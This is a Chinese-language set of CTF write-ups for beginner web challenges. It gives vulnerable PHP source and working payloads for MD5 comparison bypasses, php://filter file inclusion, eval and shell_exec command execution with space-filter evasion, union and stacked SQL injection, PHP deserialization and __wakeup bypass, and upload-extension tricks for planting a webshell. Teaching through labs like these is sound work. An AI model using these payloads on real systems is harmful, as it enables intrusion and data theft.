比较基础的一些web题① (但是因为这篇笔记是之前的笔记软件记的,语法有点不一样,所以格式可能看起来就有点丑丑的,怪怪的)
[SWPUCTF 2021 新生赛]jicao 1 2 3 4 5 6 7 8 <?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm") {echo $flag;} ?>
要传两个参数,而且涉及到json解密
payload:
1 2 /?json={"x":"wllm"} //get传参 id=wllmNB //post传参
[SWPUCTF 2021 新生赛]easy_md5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file(__FILE__); include 'flag2.php'; if (isset($_GET['name']) && isset($_POST['password'])){ $name = $_GET['name']; $password = $_POST['password']; if ($name != $password && md5($name) == md5($password)){ echo $flag; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
这里就是要要求传参的两个参数不等,但是她们md5加密之后要相等,这里是md5的==(弱比较绕过)
的绕过有两种方法
md5强比较,弱比较,二次加密的绕过 md5弱比较绕过:
1.0e绕过
弱比较会把0exxxx
当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
下面收集一些md5值是以0e开头的数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 QNKCDZO** 0e830400451993494058024219903391 s878926199a** 0e545993274517709034328855841020 s155964671a** 0e342768416822451524974117254469 s214587387a** 0e848240448830537924465865611904 s214587387a** 0e848240448830537924465865611904 s878926199a** 0e545993274517709034328855841020 s1091221200a** 0e940624217856561557816327384675 s1885207154a** 0e509367213418206700842008763514 240610708** 0e462097431906509019562988736854 payload:?a=QNKCDZO&b=240610708
2.数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
所以可以用数组来绕过
md5强比较绕过:
因为强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行 但是我们可以用MD5值完全相同的字符来进行绕过
所以强比较只能用数组绕过
md5两次加密绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 CbDLytmyGm2xQyaLNhWn CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 770hQgrBOjrcqftrlaZk 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM 7r4lGXCH2Ksu2JNT3BY
payload:
所以这里直接用数组绕过即可:
1 2 ?name[]=a //get传参 password[]=b //post传参
[SWPUCTF 2021 新生赛]caidao 打开页面显示:
直接蚁剑连接,密码为wllm
[SWPUCTF 2021 新生赛]include 打开环境显示让我们传一个file,盲猜是伪协议
先随便get传参一下file,随便赋值就可以 然后看到题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php ini_set("allow_url_include","on"); header("Content-type: text/html; charset=utf-8"); error_reporting(0); $file=$_GET['file']; if(isset($file)){ show_source(__FILE__); echo 'flag 在flag.php中'; }else{ echo "传入一个file试试"; } echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; include_once($file); ?> flag 在flag.php中
php://filter伪协议 知道在flag.php中,就直接伪协议
1 2 ?file=php://filter/read=convert.base64-encode/resource=flag.php //(针对php文件需要base64编码)
[SWPUCTF 2021 新生赛]easyrce 1 2 3 4 5 6 7 8 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['url'])) { eval($_GET['url']); } ?>
直接传参执行命令,payload如下
1 2 ?url=system("ls /"); ?url=system("cat /flllllaaaaaaggggggg");
[SWPUCTF 2021 新生赛]easy_sql 简单的sql注入,步骤完整,联合注入类型 打开环境,看到网址上方有提示说参数是wllm
payload如下:
1 2 3 4 5 6 7 8 ?wllm=1 //有回显,存在sql注入 ?wllm=-1' or 1=1--+ //为字符型注入 ?wllm=1' order by 3--+ //判断列数,3列不报错,4列报错,有3列 ?wllm=-1' union select 1,2,3--+ //判断显示位,发现回显2,3则2和3是回显位 ?wllm=-1' union select 1,database(),3--+ //查询数据库名字--test_db ?wllm=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db'--+ //查找表名回显 test_tb,users ?wllm=-1%27%20union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--+ //查找字段,回显id和flag ?wllm=-1' union select 1,group_concat(flag),3 from test_db.test_tb --+ //查找相应的数据
[第五空间 2021]WebFTP 打开环境是一个登录页面,发现是webftf
,一个老框架
框架的默认登录是admin/admin888
这道题的预期解是在github上下载源码,然后进行源码分析
访问下面这个路径,在phpinfo
里找到flag/Readme/mytz.php?act=phpinfo
其实直接访问/phpinfo.php
就可以了
[SWPUCTF 2021 新生赛]babyrce 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); highlight_file(__FILE__); if($_COOKIE['admin']==1) { include "../next.php"; } else echo "小饼干最好吃啦!"; ?>
payload如下
admin=1 //首先在cookie头传参,发现了rasalghul.php ,访问rasalghul.php内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0); highlight_file(__FILE__); error_reporting(0); if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/ /", $ip)){ die('nonono'); } $a = shell_exec($ip); echo $a; } ?>
看到这里有一个正则,他的意思是,输入的东西不能被目录分隔符包围,那对于我们的影响就是我们输入的payload里不能含有/,payload如下(记住要一直保持cookie传参admin=1)
/rasalghul.php/?url=ls //回显 index.php rasalghul.php
过滤目录分割符/的绕过 目录分隔符的绕过,就用命令拼接
简单的原理就是,执行了第一个命令之后,接着就执行第二个命令,比如我们知道flag在flag_is_here
这个文件夹的flag_xxx.php
里,但是我们用不能用flag_is_here/cat flag_xxx.php
,就可以用下面这个payload绕过
cd flag_is_here;cat flag_xxx.php
哟西,在我想怎么绕过的时候,我发现我搞错了,这里过滤的是空格,我就说怎么怎么输入都不对
过滤空格的绕过 Linux下对空格的绕过:
1 2 3 4 5 6 7 8 9 10 11 ${IFS} $IFS$9 //1-9都可以 < > <> kg=$'\x20flag.txt'&&cat$kg //(\x20 转换成字符串就是空格,这里通过变量的方式巧妙绕过)
URL绕过空格:
Windows绕过空格:
(只有type
这个命令可以用,type命令是打开某个文件的意思)
(实用性不是很广,也就type这个命令可以用)
1 2 3 .\ //如type.\flag.txt , // 如type,flag.txt
所以这道题的payload为
1 2 3 /rasalghul.php/?url=ls /rasalghul.php/?url=ls${IFS}/ //用${IFS}绕过空格 /rasalghul.php/?url=cat${IFS}/flllllaaaaaaggggggg
[陇剑杯 2021]签到 这道题提醒是一道网络协议的流量分析,应该是flag文件藏在流量包中,我们需要分离flag文件
首先用wireshark打开pcapng附件,题目问可能是什么类型的攻击
直接猜http,发现就对了
NSSCTF{http}
但是如果找答案的话,那就统计->协议分级->然后看到http协议占比最多
[SWPUCTF 2021 新生赛]Do_you_know_http 修改HTTP头的考察 一些常见的需要修改http头的考察:
1 2 3 4 5 6 7 1.用....(地址,从本地登录):**X-Forwarded-For** 2. .发现 必须来自 的提示 : Referer 3.使用...浏览器 : User-Agent 4.管理员登录 : 这个有一道题抓包之后有一个头是:cookie admin=0,然后我们改成1就可以了,要观察
应该就是考察Http头,点开环境,显示
1 2 3 4 5 6 7 //Please use 'WLLM' browser! 把User-Agent改成'WLLM" /* You can only read this at local! Your address52.194.189.7 */ 添加X-Forwarded-For头,值为127.0.0.1
[SWPUCTF 2021 新生赛]ez_unserialize 打开环境,是一个动图,F12查看源码,也没有什么有用的东西,那就来扫一下
扫到robots.txt
和index.html
两个文件,分别访问一下
发现提示,/cl45s.php
,访问,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0); show_source("cl45s.php"); class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p']; unserialize($p);
poc为:
1 2 3 4 5 6 7 8 <?php class wllm{ public $admin="admin"; public $passwd="ctf"; } $QW=new wllm(); echo serialize($QW); ?>
payload为:
/cl45s.php/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[SWPUCTF 2021 新生赛]easyupload2.0 打开环境是一个文件上传的界面,上传了一个图片马,显示上传成功,试试抓包修改后缀呢
但是改了之后,发现显示php是不行滴,所以php后缀不行
那如果php后缀不行的话,那就换个其他的后缀呗,可能黑名单过滤了php
文件上传php后缀的替代 php3,php5,pht,phtml,phps
都是php可运行的文件扩展名
那我们就再次抓包,把后缀改成phtml
,这个后缀算是最常用的一个吧,这道题用pht
也可以
上传成功,然后用蚁剑连接即可
(注意路径里不要加upload.php
,直接http:.../upload/include.phtml
[SWPUCTF 2021 新生赛]no_wakeup 打开环境,看到源码
根据题目名字和代码,我们可以知道应该是要绕过__wakeup()
魔术方法,因为如果触发了__wakeup()
那我们传入的passwd
的值就变了
反序列化绕过__wakeup __wakeup()魔术方法,在反序列化时会自动调用
绕过方法为:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
(我们等会就拿这道题目举例子吧,但是就是这个绕过方法适用的php的版本比较低)适用版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
这里贴上一篇文章(里面讲了四五种绕过__wakeup的方法,如果是比较高版本的php的话,就可以参照这篇文章里的绕过方法)
__wakeup的一些绕过方法
这道题我们的poc为:
1 2 3 4 5 6 7 8 <?php class HaHaHa{ public $admin="admin"; public $passwd="wllm"; } $QW=new HaHaHa(); echo serialize($QW); ?>
payload为
1 2 3 4 5 //原来的:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} /* 因为我们要让对象属性个数的值大于真实的属性个数,所以直接把后面的2改个比2大的数字就可以了 */ /?p=O:6:"HaHaHa":6:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
[suctf 2019]EasySQL 打开环境,显示
1 2 3 4 5 6 7 8 //在输入框内输入 1 //有正常回显 1' //无回显 1' or '1'='1'# //回显nonono,用and语句也是一样,应该是过滤了一些关键词 //试了联合查询的语句全部报错了,这里我就有些懵了,去看了wp,然后发现是堆叠注入 1;show databases# //查库 1;show tables# //查表,发现flag,接下来就是怎么查看他的问题 1;show columns from 'Flag'# //这里是nonono
接下来看wp,说这道题是要去猜他的后端语句可能是什么样的
(下面的是网上的博主解释的)
输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
,即只有第一个命令成功执行,才会执行后面的命令
也就是select 输入的数据||内置的一个列名 from 表名
即为后台语句为:select $post['query']||flag from Flag
测试语句:1
拼接效果为:select 1||flag from Flag
这里我们就需要输入$post['query']
关于sql_mode (摘抄于网上的博主,并非原创)
它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符 而非 “或” 运算符,所以当设置了sql_mode的PIPES_AS_CONCAT时候,||就相当于是concat()函数, 当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
综上,我们的payload为
1 2 3 4 5 6 7 8 9 10 11 *,1 //这是非预期的payload /* 当我们输入上面的payload之后,后台的语句变成了select *,1||flag from Flag, 就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。 此处的1是临时增加一列,列名为1且这一列的所有值都为1 还有一个注意点,在这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起 */ 1;set sql_mode=PIPES_AS_CONCAT;select 1 //这是预期的官方payload //如果没有加set sql_mode=PIPES_AS_CONCAT,那||在mysql中就会默认是或运算,即如果command1执行失败,则执行command2,但是由于开头是1,所以command1不可能执行失败,所以我们必须要set一下这个模式